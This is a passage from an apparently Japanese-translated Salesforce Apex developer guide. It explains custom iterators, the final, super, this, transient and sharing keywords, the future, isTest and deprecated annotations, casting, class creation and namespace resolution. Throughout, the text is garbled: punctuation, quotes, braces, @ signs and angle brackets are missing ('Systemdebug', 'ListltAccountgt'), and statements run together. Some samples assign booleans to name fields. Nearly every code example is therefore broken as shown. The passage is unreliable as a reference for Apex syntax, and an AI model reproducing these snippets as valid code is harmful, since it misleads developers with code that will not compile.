カスタムイテレータイタレータは集合内のすべての項目をトラバースしますたとえばApex の whileループでループを終了する条件を定義し集合をトラバースするいくつかの方法つまりイタレータを提供する必要があります次の例ではループが実行されるごとに (count++)countが 1 ずつ増加します

while (count lt 11) Systemdebug(count) count++

Iteratorインターフェースを使用してループのリストをトラバースする指示のカスタムセットを作成できます通常SELECT文を使用して範囲を定義する Salesforcecom 外のソースにあるデータに役立ちます複数のSELECT文がある場合にイタレータを使用することもできます

カスタムイタレータの使用

カスタムイタレータを使用するにはIteratorインターフェースを実装する Apex クラスを作成する必要があります

Iteratorクラスには次インスタンスメソッドがあります

説明戻り値引数名前

コレクション内の別の項目がトラバースされている場合はtrueが返されそうでない場合はfalse

が返されます

BooleanhasNext

コレクション内の次の項目を返します任意next

Iteratorインターフェース内のすべてのメソッドは globalとして定義する必要があります

カスタムイタレータは whileループでのみ使用できます例

IterableString x = new IterableString(This is a really cool test)

while(xhasNext()) systemdebug(xnext())

イタレータは現在forループではサポートされていません

Iterable とカスタムイタレータの使用

カスタムイタレータとリストを使用しない場合Iterableインターフェースを使用してデータ構造を生成できます

Iterableインターフェースには次のメソッドがあります

クラスオブジェクトおよびインターフェース Version 180 | カスタムイテレータ | 101

説明戻り値引数名前

このインターフェースのイタレータへの参照を返します

イタレータクラスiterator

iteratorメソッドは globalとして定義する必要がありますデータ構造のトラバースに使用できるイタレータへの参照を作成します

次の例ではコレクションのカスタムイタレータの例を示します

global class CustomIterable implements IteratorltAccountgt ListltAccountgt accs get setInteger i get set public CustomIterable() accs = [SELECT id name numberofEmployeesFROM Account WHERE name = false] i = 0 global boolean hasNext() if(i gt= accssize())return false else return true global Account next() if(i == 8) i++ return nulli=i+1 return accs[i-1]

次で上記のコードを呼び出します

global class foo implements iterableltAccountgt global IteratorltAccountgt Iterator() returnnew CustomIterable()

次はイタレータを使用する一括処理ジョブです

global class batchClass implements DatabasebatchableltAccountgt global IterableltAccountgtstart(DatabasebatchableContext info) return new foo() global voidexecute(DatabasebatchableContext info ListltAccountgt scope) ListltAccountgt accsToUpdate =new ListltAccountgt() for(Account a scope) aname = true anumberOfEmployees = 69accsToUpdateadd(a) update accsToUpdate global void finish(DatabasebatchableContextinfo)

キーワード

Apex では次のキーワードをサポートしています

bull final

bull instanceof

bull super

bull this

bull transient

bull with sharingおよび without sharing

finalキーワードの使用finalキーワードは次のように使用できます

bull ファイナル変数には変数の宣言時またはコードの初期化時のいずれか 1 回のみ値を割り当てることができますこのいずれかで値を割り当てる必要があります

bull 静的なファイナル変数は静的初期化コードまたは定義時に変更できますbull メンバーファイナル変数は初期化コードブロックコンストラクタまたは他の変数の宣言と共に変更で

きます

クラスオブジェクトおよびインターフェース Version 180 | キーワード | 102

bull 定数を定義するには変数を staticおよび finalの両方に定義します (「定数 (ページ 41)」を参照してください)

bull ファイナルでない静的変数はクラスレベルでの状態の通信 (トリガ間の状態など) に使用しますしかし要求間で共有されることはありません

bull デフォルトではメソッドおよびクラスはファイナルとなりますfinalキーワードをクラスやメソッドの宣言では使用できませんつまり値をオーバーライドすることはできませんメソッドまたはクラスをオーバーライドするには virtualキーワードを使用します

instanceofキーワードの使用ランタイム時にオブジェクトが実際にある特定のクラスのインスタンスであることを確認するにはinstanceOf

キーワードを使用しますinstanceofキーワードは式でキーワードの右にあるターゲット型が左の式の宣言型の実行可能な代替物であることを確認する場合にのみ使用します

「クラスとキャスト例」の Reportクラスにおいて項目を CustomReportオブジェクトに再度キャストするために次のチェックを追加することができます

If (Reportsget(0) instanceof CustomReport) カスタムレポートオブジェクトに問題なく再度キャスト可能CustomReport c = (CustomReport) Reportsget(0) Else カスタムでないレポートに対する処理を記述

superキーワードの使用superキーワードは仮想クラスまたは抽象クラスから拡張されるクラスによって使用できますsuperを使用することによって親クラスのコンストラクタおよびメソッドを上書きできます

たとえば次の仮想クラスがあるとします

public virtual class SuperClass public String mySalutation public String myFirstNamepublic String myLastName

public SuperClass()

mySalutation = Mr myFirstName = Carl myLastName = Vonderburg

public SuperClass(String salutation String firstName String lastName)

mySalutation = salutation myFirstName = firstName myLastName = lastName

public virtual void printName()

Systemdebug(My name is + mySalutation + myLastName)

public virtual String getFirstName() return myFirstName

Superclassを拡張しprintNameメソッドを上書きする次のクラスを作成できます

public class Subclass extends Superclass public override void printName() superprintName() Systemdebug(But you can call me + supergetFirstName())

SubclassprintNameを呼び出す場合に期待される出力は My name is Mr Vonderburg But you cancall me Carlとなります

クラスオブジェクトおよびインターフェース Version 180 | instanceof キーワードの使用 | 103

superを使用してコンストラクタを呼び出すことができます次のコンストラクタを SubClassに追加します

public Subclass() super(Madam Brenda Clapentrap)

SubclassprintNameの期待される出力は My name is Madam Clapentrap But you can call meBrendaとなります

superキーワード使用のべストプラクティス

bull virtualクラスまたは abstractクラスから拡張しているクラスだけが superを使用できますbull overrideキーワードで指定されているメソッドでのみ superを使用できます

thisキーワードの使用thisキーワードには2 つの使用方法があります

thisをドット表記でかっこをつけずに使用し表示されるクラスの現在のインスタンスを表すことができますthisキーワードのこの形式はインスタンス変数とメソッドへのアクセスに使用します例

public class myTestThis

string s thiss = TestString

上記の例ではクラス testThisはインスタンス変数 sを宣言します初期化コードは thisキーワードを使用して変数に値を設定します

またコンストラクタチェーニングの実行でthisキーワードを使用することもできますコンストラクタチェーニングとは1 つのコンストラクタから別のコンストラクタをコールすることですこの形式ではthisキーワードをかっこと共に使用します例

public class testThis

このクラスの最初のコンストラクタstring 型のパラメータが必要ですpublic testThis(string s2)

このクラスの 2 つ目のコンストラクタパラメータは不要です このコンストラクタはthis キーワードを使用して 1 つ目のコンストラクタをコールします public testThis() this(None)

コンストラクタでのコンストラクタチェーニングの実行で thisキーワードを使用する場合コンストラクタの1 つ目の文に記述しなければなりません

transientキーワードの使用メモ transientキーワードはVisualforce コントローラとコントローラ拡張でのみ使用できます

クラスオブジェクトおよびインターフェース Version 180 | this キーワードの使用 | 104

transientキーワードは保存できずまたVisualforceページの一部として送信することもできないインスタンス変数の宣言に使用します例

Transient Integer currentTotal

変数を transientとして宣言すると表示状態のサイズを縮小しますtransientキーワードの一般的な使用事例にはVisualforce ページ上にあるページ要求を行っている間のみ必要な項目が挙げられますこの項目はページの表示状態の一部とすべきではなくまたリクエスト時に何度も再計算を行うため多くのシステムリソースが必要となります

Apex オブジェクトの中には自動的に transient と判断されるものもありますつまりその値はページの表示状態の一部として保存されません次のオブジェクトが含まれています

bull Savepointsbull PageReferencesbull XmlStreamクラスbull コレクションが自動的に transient とマーキングされるのはSavepoints のコレクションなどコレクションに

含まれているオブジェクトが自動的に transient とマーキングされている場合だけですbull SchemagetGlobalDescribeなどほとんどのオブジェクトがシステムメソッドにより自動的に生成されま

次の例にはVisualforceページとカスタムコントローラの両方が含まれてますページが更新されるごとに transient日付は再作成されるため[更新] ボタンをクリックすると日付が更新されます非 transient 日付には表示状態からシリアル化されなかった元の値が保持されるため変わりません

ltapexpage controller=ExampleControllergt T1 t1 ltbrgt T2 t2 ltbrgt ltapexformgtltapexcommandLink value=refreshgt ltapexformgt ltapexpagegt

public class ExampleController

DateTime t1 transient DateTime t2

public String getT1() if (t1 == null) t1 = Systemnow() return + t1

public String getT2() if (t2 == null) t2 = Systemnow() return + t2

with sharingまたは without sharingキーワードの使用Apex スクリプトは一般にシステムコンテキストで実行されますつまりスクリプト実行時に現在のユーザのプロファイルベースの権限項目レベルセキュリティおよび共有ルールは考慮されません

メモ このルールの唯一の例外はexecuteAnonymousコールと共に実行される Apex スクリプトですexecuteAnonymousは常に現在のユーザのフル権限を用いて実行されますexecuteAnonymousの詳細は「匿名ブロック」 (ページ 81)を参照してください

ルールが強制実行されるわけではないためApex を使用する開発者はプロファイルに基づく権限項目レベルのセキュリティ組織のデフォルトなどにより通常はユーザから隠されている重要データをうっかり公開することがないように注意しなければなりません特にWeb サービスについては注意が必要ですWeb サービスはプロファイルによって制限できますが初期化された後はシステムコンテキストで実行されます

クラスオブジェクトおよびインターフェース Version 180 | with sharing または without sharing キーワードの使用 | 105

多くの場合システムコンテキストは組織内のすべてのデータへのアクセスが必要なトリガWeb サービスなどに対してシステムレベルの運用の正しい動作を設定しますしかし特定の Apex クラスが現在のユーザに適用されている共有ルールを強制実行するように指定することもできます(共有ルールの詳細はSalesforcecomオンラインヘルプを参照してください)

メモユーザのプロファイルに基づく権限と項目レベルのセキュリティはApexスクリプトが組織内のすべての項目とオブジェクトを参照できることを保証するために常に無視されます特定の項目やオブジェクトがユーザから隠されている場合スクリプトの実行時にコンパイルでエラーが発生します

現在のユーザに適用されている共有ルールを強制実行するにはクラスの宣言時にwith sharingキーワードを使用します例

public with sharing class sharingClass

ここにコードを記述

現在のユーザに適用されている共有ルールを強制実行されないようにするにはクラスの宣言時に without

sharingキーワードを使用します例

public without sharing class noSharing

ここにコードを記述

with sharing も without sharing も使わずにクラスを宣言している場合現在の共有ルールが有効となりますつまりそのクラスが共有が強制実行されているクラスからコールされるとコールされたクラスでも共有が強制実行されます

内部クラスと外部クラスはどちらもwith sharingとして宣言できます共有設定は初期化コードコンストラクタメソッドなどクラスに含まれているすべてのコードに適用されますクラスは1 つのクラスを拡張または実装するとこの設定を親クラスから継承しますしかし内部クラスはコンテナクラスから共有設定を継承しません

public with sharing class CWith このクラスのすべてのコードは共有ルールが強制実行されます

Account a = [select ]

public static void m()

static

public c()

public without sharing class CWithout このクラスのすべてのルールは共有ルールを無視し コンテキストユーザが Modify All Data 権限を所有しているかのように動作しますAccount a = [select ]

public static void m()

CWith へのこのコールはコンテキストユーザに対する 共有ルールが強制実行される状態で動作しますコール

クラスオブジェクトおよびインターフェース Version 180 | with sharing または without sharing キーワードの使用 | 106

が完了すると コードの実行は without sharing モードに戻りますCWithm()

public class CInner このクラスのすべてのコードはこのコードを呼ぶコードと同じ 共有コンテキストで実行されます 内部クラスと外部クラスは分離されています

先ほどと同様にCWith へのこのコールはこの内部クラスを最初にコールしたクラスに関わらず コンテキストユーザに対する共有ルールが強制実行される状態で動作します コールが完了するとコードの実行はこの内部クラスをコールするのに使用された共有モードに戻りますCWithm()

public class CInnerWithOut exends CWithout このクラスは共有ルールを無視する親クラスを拡張しているため このクラスのすべてのコードは共有ルールを無視します

警告 with sharingとして宣言されたクラスがwithout sharingとして動作するスクリプトをコールしないという保証はありませんそのためクラスレベルのセキュリティは常に必要となりますさらにPriceBook2 を使用するすべての SOQL または SOSL クエリはwith sharingキーワードを無視します適用された共有ルールに関わらずすべての PriceBook レコードが返されます

現在のユーザの共有ルールを強制実行すると次のような影響があります

bull SOQL および SOSL クエリ1 つのクエリはシステムコンテキストで動作する場合より少ない行を返す場合があります

bull DML 操作現在のユーザに正しい権限が付与されていない場合操作が失敗する場合がありますたとえばユーザが組織内に存在する外部キー値を指定したものの現在のユーザにはそのキー値へのアクセス権が付与されていない場合などです

アノテーション

Apexアノテーションはメソッドまたはクラスが使用される方法を変更するものでJava のアノテーションと似ています

アノテーションは先頭が記号から始まり適切なキーワードがそれに続きますメソッドにアノテーションを追加するにはメソッド定義またはクラス定義の直前で指定します例

global class MyClass future Public static void myMethod(String a) 長い Apex コード

Apex では次のアノテーションをサポートしています

bull future

bull isTest

bull deprecated

Future

futureアノテーションを使用してメソッドを非同期に実行しますfutureを指定するとSalesforcecom に使用可能なリソースが存在するときにこのメソッドが実行されます

クラスオブジェクトおよびインターフェース Version 180 | アノテーション | 107

たとえば外部サービスへの非同期の Web サービスコールアウトを実行する際に futureアノテーションを使用できますアノテーションがない場合Web サービスコールアウトは Apex スクリプトを実行している同じスレッドから実行されコールアウトが完了するまでのかの処理は発生しません (同期処理)

futureアノテーションのあるメソッドは静的メソッドでなければならずvoid 型のみを返します

クラスのメソッドを非同期に実行するにはfutureアノテーションのあるメソッドを定義します例

global class MyFutureClass

future static void myMethod(String a Integer i) Systemdebug(Method called with +a + and + i) コールアウトを実行その他の長い実行コード

次のスニペットはメソッドがどのようにコールアウトを実行するかを指定します

future (callout=true) public static void doCalloutFromFuture() コールアウトを実行するコードの追加

メソッドがコールアウトを実行しないようにするには(callout=false)を指定します

futureアノテーションで定義されたメソッドをテストするにはstartTeststopTestコードブロックにメソッドを含むクラスを呼び出しますstartTestメソッド後に作成されたすべての非同期コールはシステムによって収集されますstopTestを実行する場合すべての非同期プロセスが同期して実行されます

futureアノテーションのあるメソッドには次のような制限事項があります

bull Apex 呼び出しあたりコールは最大 10 メソッド

メモ startTestブロックおよび stopTestブロックで呼び出された futureまたは executeBatch

などの非同期コールはキュー内ジョブ数の制限に対してカウントされません

bull futureアノテーションを含むメソッドはtestMethodのコンテキスト内にある場合100 件の SOQL クエリーを実行できます

bull Salesforcecom ライセンスあたりコールは 24 時間ごとに最大 200 メソッドbull 指定されたパラメータはプリミティブデータ型プリミティブデータ型の配列プリミティブデータ型のコ

レクションでなければなりませんbull futureアノテーションのあるメソッドはsObject またはオブジェクトを引数としてとることはできませんbull futureアノテーションを含むメソッドはVisualforceコントローラのgetMethodNameまたはsetMethodName

メソッド内でもコンストラクタ内でも使用できません

futureアノテーションを使用するすべてのメソッドはメソッドがコールされた順番に実行されるとは限らないため特に考慮する必要があります

futureアノテーションのあるメソッドを同様に futureアノテーションのあるメソッドからコールすることはできませんまたアノテーションを含む別のメソッドをコールしているアノテーションを含むメソッドからトリガをコールすることはできません

コールアウトの詳細は「Apex を使ったコールアウトの呼び出し (ページ 173)」を参照してください

クラスオブジェクトおよびインターフェース Version 180 | Future | 108

IsTest

isTestアノテーションを使用してアプリケーションのテストに使用するコードのみを含むクラスまたは個別のメソッドを定義しますisTestアノテーションはtestMethodとして宣言したメソッドの作成と似ています

メモ isTestで指定したクラスは1 MB という Apex スクリプトの組織内の上限には含まれませんfutureアノテーションのある個別のメソッドは組織の上限の制限を受けます詳細は「実行ガバナーと制限の理解」を参照してください

isTestとして定義されたすべてのクラスとメソッドは privateとして宣言する必要があります例

isTest private class MyTest

テストのメソッド

isTestとして定義されたクラスはインターフェースまたは enum 値とすることはできません

isTestとして定義されたクラスはForcecom runTests() API コールまたは Salesforcecom ユーザインターフェース ([Run Tests]ボタンを使用) からのみ起動できます別のクラスまたはトリガからはコールできません

Deprecated

deprecatedアノテーションを使用して今後のリリースの管理パッケージでは参照できないメソッドクラス例外列挙インタフェース変数を示すことができます管理パッケージのコードをリファクタリングする場合に役立ちます新しい登録者は破棄された要素を参照することはできませんが要素は既存の登録者および API 統合に機能し続けます

次のコードスニペットは破棄されたメソッドを示します同じシンタックスを使用してクラス例外列挙インターフェースまたは変数を破棄できます

deprecated このメソッドは deprecated です代わりに myOptimizedMethod(String a String b)を使用します public void myMethod(String a)

Apex 識別子を破棄する場合次のルールに注意してください

bull 非管理パッケージにはdeprecatedキーワードを使用するコードを含めることはできませんbull Apexの場合またはカスタムオブジェクトが破棄される場合破棄された識別子を参照するすべてのglobal

アクセス修飾子も破棄する必要があります署名入力引数またはメソッドが返す結果で破棄された種類を使用する global メソッドも破棄する必要がありますメソッドまたはクラスなど破棄された項目は最初はパッケージ開発者によって参照できます

bull webServiceメソッドおよび変数は破棄できませんbull enumは破棄できますが各 enum値は破棄できませんbull インターフェースは破棄できますがインターフェースの各メソッドは破棄できまさせんbull 抽象クラスは破棄できますが抽象クラスの各抽象メソッドは破棄できませんbull Apexのの項目が破棄されたパッケージをリリースした後deprecatedアノテーションを削除してApex識別

子の非推奨を取り消すことはできません

クラスオブジェクトおよびインターフェース Version 180 | IsTest | 109

パッケージバージョンの詳細は「管理パッケージでの Apex の開発 (ページ 165)」を参照してください

クラスとキャスト

通常すべての型情報は実行時に利用できますつまりApex はキャストを許可していますキャストとはあるクラスのデータ型を別のクラスのデータ型として割り当てることですただし割り当てるクラスが元のクラスの子である場合に限りますあるデータ型のオブジェクトを別のデータ型に変換する場合にキャストを使用します

次の例ではCustomReportが Reportクラスを拡張していますそのためそのクラスの子となっていますつまり親のデータ型 (Report) のオブジェクトを子のデータ型 (CustomReport) のオブジェクトにキャストできます

次のコードブロックではまずレポートオブジェクトのリストにカスタムレポートオブジェクトが追加されますその後カスタムレポートオブジェクトがレポートオブジェクトとして返されカスタムレポートオブジェクトとして再度キャストされます

Public virtual class Report

Public class CustomReport extends Report レポートオブジェクトのリストを作成Report[] Reports= new Report[5]

カスタムレポートオブジェクトを作成CustomReport a = new CustomReport()

カスタムレポートオブジェクトが Report クラスのサブクラスであるため カスタムレポートオブジェクトをレポートオブジェクトのリストに追加できますReportsadd(a)

次の手順は有効ではありませんなぜならコンパイラには返されているものが カスタムレポートであることが分からないからですどのような型が返されるかを通知するには キャストを使用しなければなりませんCustomReport c = Reportsget(0)

その代わりにカスタムレポートオブジェクトに再度キャストすることによりリストの最初の項目を取得しますCustomReport c = (CustomReport) Reportsget(0)

クラスオブジェクトおよびインターフェース Version 180 | クラスとキャスト | 110

図 7 キャスト例

さらにインターフェース型はサブインターフェースまたはそのインターフェースを実装しているクラス型にキャストできます

ヒント あるクラスが特定の型のクラスであることを確認するにはinstanceOfキーワードを使用します詳細は「instanceofキーワードの使用」 (ページ 103)を参照してください

クラスとコレクションリストとマップはsObjects で使用するのと同じようにクラスやインターフェースでも使用できますつまりユーザ定義のデータ型はマップの値のみで使用できキーでは使用できません同様にユーザ定義オブジェクトセットは作成できません

インターフェースのマップやリストを作成した場合インターフェースの子タイプはコレクションに入れることができますたとえばリストにインタフェース i1が含まれておりMyCが i1を実装している場合MyCをリストに含めることができます

コレクションキャストApex のコレクションには実行時に宣言型が存在するためApex ではコレクションキャストを許可しています

クラスオブジェクトおよびインターフェース Version 180 | クラスとコレクション | 111

コレクションはJava で配列をキャストするのと似た方法でキャストされますたとえばCustomerPurchaseOrderクラスが PurchaseOrderクラスの子である場合CustomerPurchaseOrder オブジェクトのリストを PurchaseOrder オブジェクトのリストに割り当てることができます

public virtual class PurchaseOrder

Public class CustomerPurchaseOrder extends PurchaseOrder

ListltPurchaseOrdergt POs = new PurchaseOrder[] ListltCustomerPurchaseOrdergt CPOs =new CustomerPurchaseOrder[] POs = CPOs

CustomerPurchaseOrderリストが PurchaseOrderリスト変数に割り当てられるとCustomerPurchaseOrder オブジェクトのリストに再度キャストすることができますこれはそのインスタンスが最初はCustomerPurchaseOrder のリストとしてインスタンス化されたためですこのようにインスタンス化されたPurchaseOrder オブジェクトのリストはPurchaseOrder オブジェクトのリストに CustomerPurchaseOrder オブジェクトのみが含まれている場合でもCustomerPurchaseOrder オブジェクトのリストにキャストできません

CustomerPurchaseOrders オブジェクトのみを含む PurchaseOrder リストのユーザ が PurchaseOrderの非CustomerPurchaseOrder サブクラス (InternalPurchaseOrderなど) を挿入しようとすると実行時に例外が発生しますこれはApex には実行時に宣言型が存在するためです

メモ マップの動作もマップの値側からみるとリストと同様ですマップ A の値側をマップ B の値側にキャスト可能でキータイプが同じである場合マップ A はマップ B にキャストできます実行時に特定のマップのキャストが有効でない場合ランタイムエラーが発生します

Apex クラスと Java クラスの違い

次にApex と Java クラスの主な違いについて示します

bull 内部クラスとインターフェースは外部クラスの 1 つ下のレベルでのみ宣言できますbull 静的メソッドと変数は内部クラスではなくトップレベルクラスでのみ宣言できますbull 内部クラスは静的Java内部クラスのように機能しますがstaticキーワードを要求しません内部クラス

は外部クラスのようにインスタンスメンバー変数を持つことができますが thisキーワードを使った 外部クラスのインスタンスへの暗黙的ポインタはありません

bull デフォルトのアクセス修飾子は privateですつまりメソッドまたは変数は定義された Apex クラス内からのみアクセス可能ですアクセス修飾子を指定しない場合メソッドや変数は privateとなります

bull メソッドまたは変数にアクセス修飾子を指定しない場合はprivateアクセス修飾子を指定した場合と同じ意味となります

bull publicアクセス修飾子はメソッドまたは変数がこのアプリケーションまたは名前空間内のすべての Apexで使用可能なことを意味します

bull globalアクセス修飾子はメソッドまたは変数が同じアプリケーション内の Apex スクリプトだけではなくクラスへのアクセス権を付与されたすべてのApexスクリプトで使用可能なことを意味しますこのアクセス修飾子はForcecom Web サービス API やその他の Apex スクリプトのいずれかでアプリケーション外から参照する必要があるメソッドで使用しますメソッドまたは変数をglobalとして宣言した場合それを含むクラスも globalとして宣言する必要があります

bull デフォルトではメソッドおよびクラスはファイナルとなります

- virtual定義修飾子は拡張やオーバーライドを許可します

クラスオブジェクトおよびインターフェース Version 180 | Apex クラスと Java クラスの違い | 112

- overrideキーワードは基本クラスメソッドをオーバーライドするメソッドで明示的に使用する必要があります

bull インターフェースメソッドには修飾子はなく常に global となりますbull 例外クラスは例外または別のユーザ定義例外への拡張が必要です

- 例外クラス名の末尾にはexceptionをつけなければなりません- 例外クラスは 4 つの暗黙的なコンストラクタが組み込まれていますが追加することもできます

詳細は「例外クラス」 (ページ 315)を参照してくださいbull クラスとインターフェースはトリガや匿名ブロック内で定義できますがローカルとしてのみ定義できます

クラス定義作成

Salesforcecom でクラスを作成する手順は次のとおりです

1 アプリケーションで[設定] [開発] [Apex クラス] をクリックします2 [New] をクリックします3 [バージョン設定]をクリックしてこのクラスで使用するApexおよびAPIのバージョンを指定します組織

がAppExchangeから管理パッケージをインストールした場合このクラスで使用する各管理パッケージのバージョンも指定できます通常はすべてのバージョンについてデフォルト値を使用してくださいデフォルト値ではApexおよびAPIについても各管理パッケージについてもクラスを最新バージョンに関連付けます最新バージョンのパッケージのものとは異なるコンポーネントや機能にアクセスする場合は管理パッケージの古いバージョンを指定することもできます古いバージョンのApexおよびAPIを指定して特定の動作を維持できます

4 [内容]テキストボックスでそのクラスのApexを入力します1 つのクラスは最大100000文字までです5 [保存] をクリックし変更を保存してクラスの詳細画面に戻るか[適用] をクリックし変更を保存してク

ラスの編集を続行します作成したApexスクリプトはクラスに保存する前に間違いなくコンパイルする必要があります

[WSDL からの生成] をクリックしてWSDL から自動的にクラスを生成することもできます「SOAP サービス WSDL ドキュメントからのクラスの定義 (ページ 174)」を参照してください

いったん保存するとクラスはその他の Apex スクリプトからクラスメソッドや変数を介して呼び出すことができます

メモ 下位互換性を持たせるためクラスはApex および API の特定のバージョンのバージョン設定とともに保存されますApex クラスがインストール済みの管理パッケージ内でカスタムオブジェクトなどのコンポーネントを参照する場合クラスが参照する各管理パッケージのバージョン設定も同時に保存されますまたクラスは最後にコンパイルされて以降依存するメタデータに変更がない限りisValidフラグを trueに設定して保存しますオブジェクトや項目の説明の編集などの表面的な変更も含めクラスで使用されているオブジェクト名や項目に変更があった場合またはこのクラスを呼び出すクラスに変更があった場合にはisValidフラグが falseに設定されますトリガまたは Web サービスコールによってクラスが呼び出されるとコードが再コンパイルされエラーが存在する場合にはユーザに通知されますエラーがない場合はisValidフラグが trueにリセットされます

クラスオブジェクトおよびインターフェース Version 180 | クラス定義作成 | 113

Apex クラスエディタ

VisualforceまたはApexを編集するときVisualforce開発モードフッターでまたは設定から次の機能を持つエディタを使用できます

構文の強調表示エディタはキーワードとすべての関数および演算子について自動的に構文を強調表示します

検索 ( )

検索により現在のページクラスまたはトリガの中のテキストを検索できます検索を使用するには[検索]テキストボックスに文字列を入力し[次を検索] をクリックします

bull 検出した検索文字列を他の文字列に置き換えるには[置換]テキストボックスに新しい文字列を入力しそのインスタンスだけを置き換える場合は [置換] をクリックしそのインスタンスとそれ以外にそのページクラスまたはトリガに出現する検索文字列のすべてのインスタンスを置き換える場合は[すべて置換] をクリックします

bull 検索操作で大文字小文字を区別するには[大文字と小文字を区別する] オプションをオンにしますbull 検索文字列として正規表現を使用するには[正規表現]オプションをオンにします正規表現はJavaScript

の正規表現規則に従います正規表現を使った検索では折り返しされて複数行になる文字列も検索できます

正規表現で検出した文字列を置換操作で使用する場合検出した検索文字列から得られる正規表現のグループ変数 ($1$2など) をバインドすることもできますたとえばltH1gtタグを ltH2gtタグで置き換え元の ltH1gtの属性はすべてそのままにするにはltH1(s+)()gtを検索しそれを ltH2$1$2gtで置き換えます

指定行に移動 ( )

このボタンにより指定した行番号を強調表示できますその行が現在表示されていない場合はエディタがその行までスクロールします

元に戻す ( ) またはやり直し ( )

[元に戻す] を使用して編集動作を取り消し[やり直し] により元に戻した編集動作をやり直します

フォントサイズドロップダウンリストからフォントサイズを選択しエディタに表示される文字のサイズを制御します

行と列の位置

カーソルの行と列の位置はエディタ下部のステータスバーに表示されますこれは[指定行に移動] ( )とともに使用しエディタ内をすばやく移動できます

行と文字のカウント行と文字の合計数はエディタ下部のステータスバーに表示されます

名前付け規則Salesforcecom は名前付けには次の Java 標準をお勧めしていますその標準ではクラス名は大文字から始まりメソッドは小文字の動詞から始まり変数名は意味を持つものにするという規則です

クラスオブジェクトおよびインターフェース Version 180 | 名前付け規則 | 114

同じクラスのクラスとインターフェースに同じ名前をつけることはできません外部クラスと内部クラスに同じ名前をつけることもできませんしかしメソッドと変数はクラス内に独自の名前空間があるためこの 3 つのタイプの名前は競合しません特にクラス内の変数メソッドクラスに同じ名前をつけることは有効です

名前のシャドウイングメンバー変数は特に関数の引数においてローカル変数でシャドウイングされますこれにより標準 Java 形式のメソッドやコンストラクタは次のように処理されます

Public Class Shadow String s Shadow(String s) thiss = s 同じ名前でも問題なしsetS(String s) thiss = s 同じ名前でも問題なし

1 つのクラスのメンバー変数は親クラスの同じ名前のメンバー変数をシャドウイングできます異なるトップレベルクラスの 2 つのクラスが異なるチームによって記述されている場合は有効ですたとえば一方にはクラス C への参照が含まれており親クラス P のメンバー変数 M (C のメンバー変数と同じ名前) へアクセスしたいとします参照はまず P への参照から割り当てます

静的変数はクラス階層間でシャドウイングできますそのためP が静的変数 S を定義するとサブクラス C も静的変数 S を宣言できますC 内の S への参照はその静的変数を参照しますP の静的変数を参照するには構文 PS を使用する必要があります

静的クラス変数はクラスインスタンスを通じて参照することはできません本来の変数名自体 トップレベルクラスファイル内 またはクラス名をつけたプレフィックスを使用して参照しなければなりません例

public class p1 public static final Integer CLASS_INT = 1 public class c p1c c= new p1c() 無効 Integer i = cCLASS_INT 正しい記述Integer i = p1CLASS_INT

クラスセキュリティ

ユーザプロファイルに基づいて特定の最上位レベルの でメソッドを実行できるユーザを指定できますトリガーではなくてApex上にだけセキュリティの設定が可能な点に留意ください

クラス一覧ページから Apex クラスのセキュリティを設定する手順は次のとおりです

1 [設定] [開発] [Apex クラス] をクリックします2 制限するクラス名の横にある [セキュリティ] をクリックします3 [選択可能なプロファイル] リストから有効にするプロファイルを選択し[追加] をクリックします4 [有効にされたプロファイル] リストから無効にするプロファイルを選択し[取り消し] をクリックします5 [保存] をクリックします

プロファイルの詳細ページから Apex クラスのセキュリティを設定する手順は次のとおりです

1 [設定] [ユーザの管理] [プロファイル] をクリックします2 変更するプロファイルの名前をクリックします3 [有効にされた Apex クラスアクセス] 関連リストから[編集] をクリックします4 [利用可能な Apex クラス] リストから有効にする Apex クラスを選択し[追加] をクリックします5 [有効にされた Apex クラス] リストから無効にする Apex クラスを選択し[削除] をクリックします

クラスオブジェクトおよびインターフェース Version 180 | 名前のシャドウイング | 115

6 [保存] をクリックします

名前空間プレフィックス

アプリケーションは名前空間プレフィックスの使用をサポートしています名前空間プレフィックスは管理された Forcecom AppExchange で使用されカスタムオブジェクトと項目名を他の組織で使用されているものと区別するために使用します開発者がグローバルで一意な名前空間プレフィックスを登録しAppExchangeレジストリに登録すると開発者の管理パッケージのカスタムオブジェクトおよび項目名への外部参照は次のような長い形式となります

namespace_prefix__obj_or_field_name__c

この完全修飾名はSOQL 文SOSL 文Apexでクラスが「管理済み」に設定されると更新が煩雑であるためApex はスキーマ名のデフォルトの名前空間をサポートしていますID を見るとパーサーは現在のオブジェクトの名前空間であると考え指定されていない限り他のすべてのオブジェクトと項目の名前空間であると判断しますその結果格納されているクラスは同じアプリケーション名前空間で定義されているオブジェクトに対して obj_or_field_name__cを使用してカスタムオブジェクトと項目名を直接参照します

ヒント AppExchange から組織にインストールされた管理パッケージのカスタムオブジェクトと項目を参照する場合のみ名前空間プレフィックスを使用します

メソッドの起動での名前空間の使用管理パッケージで定義されたメソッドを起動するにはApex は次の形式の完全修飾識別子を許可します

namespace_prefixclassmethod(args)

組み込み静的クラスとユーザ定義クラスとのあいまいさをなくすために特別な名前空間 Systemを使用します(SystemSystemdebug()) など

System名前空間プレフィックスがないと次に示すとおりMathや Systemなどのシステム静的クラス名が同じ名前ののユーザ定義クラスでオーバーライドされてしまいます

ヒント AppExchange から組織にインストールされた管理パッケージのメソッドを起動する場合のみ名前空間プレフィックスを使用します

名前空間クラス変数名の優先度ローカル変数クラス名名前空間が同じ識別子を使用することは仮定上可能であるためApex パーサーは次のように name1name2[]nameN形式の式を評価します

1 パーサーはまず name1が name2から nameNを項目参照として持つローカル変数であると仮定します2 最初の仮定が真でない場合パーサーは name1がクラス名でありname2が name3から nameNを項目参照と

して持つ静的変数名であると仮定します3 2 つ目のの仮定が真でない場合パーサーは name1が名前空間名name2がクラス名name3が静的変数名

でありname4から nameNが項目参照であると仮定します

クラスオブジェクトおよびインターフェース Version 180 | 名前空間プレフィックス | 116

4 3 つ目の仮定も真でない場合はパーサーはエラーを返します

式が 1 組のかっこで終了する場合 (name1name2[]nameMnameN()など)Apex パーサーは式を次のように評価します

1 パーサーはまず name1が name2から nameMを項目参照として持つローカル変数nameNがメソッド呼び出しであると仮定します

2 最初の仮定が真でない場合次の処理を行います

bull 式に識別子が 2 つしか含まれていない場合 (name1name2())パーサーはname1がクラス名で name2がメソッド呼び出しであると仮定します

bull 式に識別子が 3 つ以上含まれている場合パーサーは name1がクラス名name2が name3から nameMを項目参照として持つ静的変数名nameNがメソッド呼び出しであると仮定します

3 2 つ目のの仮定が真でない場合パーサーは name1が名前空間名name2がクラス名name3が静的変数名でありname4から nameMが項目参照nameNがメソッド呼び出しであると仮定します

4 3 つ目の仮定も真でない場合はパーサーはエラーを返します

